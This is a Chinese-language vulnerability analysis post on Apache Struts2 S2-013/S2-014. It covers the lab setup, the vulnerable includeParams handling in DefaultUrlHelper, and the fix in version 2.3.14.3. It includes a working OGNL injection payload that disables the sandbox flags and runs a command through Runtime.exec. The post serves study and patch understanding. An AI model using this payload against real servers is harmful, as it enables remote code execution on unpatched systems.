前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-013 和 S2-014 是同一个漏洞,014 是 013 的绕过,最后都在同一个版本修复了。
环境搭建
2.3.14.1 版本的 struts2 + Tomcat 9。
修改 jsp 文件,加上一句:
1
| <s:url id="url" action="login" includeParams="all" />
|
漏洞利用
阅读漏洞通告,问题发生在 s:url/s:a 标签的 includeParams 属性,他们在根据这个属性处理 HTTP 参数的时候会进行表达式解析,payload 如下:
1
| data=%25{#_memberAccess['allowStaticMethodAccess']=true,#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec("calc")}
|
漏洞分析
看到 s:url 标签生成 URL 时会调用的 DefaultUrlHelper 类的 buildParametersString 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| Iterator iter = params.entrySet().iterator();
while(iter.hasNext()) { Entry<String, Object> entry = (Entry)iter.next(); String name = (String)entry.getKey(); Object value = entry.getValue(); if (value instanceof Iterable) { ... } else if (value instanceof Object[]) { Object[] array = (Object[])((Object[])value);
for(int i = 0; i < array.length; ++i) { Object paramValue = array[i]; link.append(this.buildParameterSubstring(name, paramValue.toString())); if (i < array.length - 1) { link.append(paramSeparator); } } } else { ... }
if (iter.hasNext()) { link.append(paramSeparator); } }
|
遍历了传递的参数,然后调用了 buildParameterSubstring 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| private String buildParameterSubstring(String name, String value) { StringBuilder builder = new StringBuilder(); builder.append(translateAndEncode(name)); builder.append('='); builder.append(translateAndEncode(value)); return builder.toString(); }
public String translateAndEncode(String input) { String translatedInput = translateVariable(input); try { return URLEncoder.encode(translatedInput, encoding); } catch (UnsupportedEncodingException e) { if (LOG.isWarnEnabled()) { LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input); } return translatedInput; } }
|
translateVariable 方法最后会来到之前看到过的 OgnlTextParser 方法的 evaluate 方法进行了解析。
漏洞修复
在 2.3.14.3 版本中,buildParameterSubstring 方法中去掉了表达式解析的部分,只剩下 URL 编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| private String buildParameterSubstring(String name, String value) { StringBuilder builder = new StringBuilder(); builder.append(encode(name)); builder.append('='); builder.append(encode(value)); return builder.toString(); }
public String encode( String input ) { try { return URLEncoder.encode(input, encoding); } catch (UnsupportedEncodingException e) { if (LOG.isWarnEnabled()) { LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input); } return input; } }
|
Orz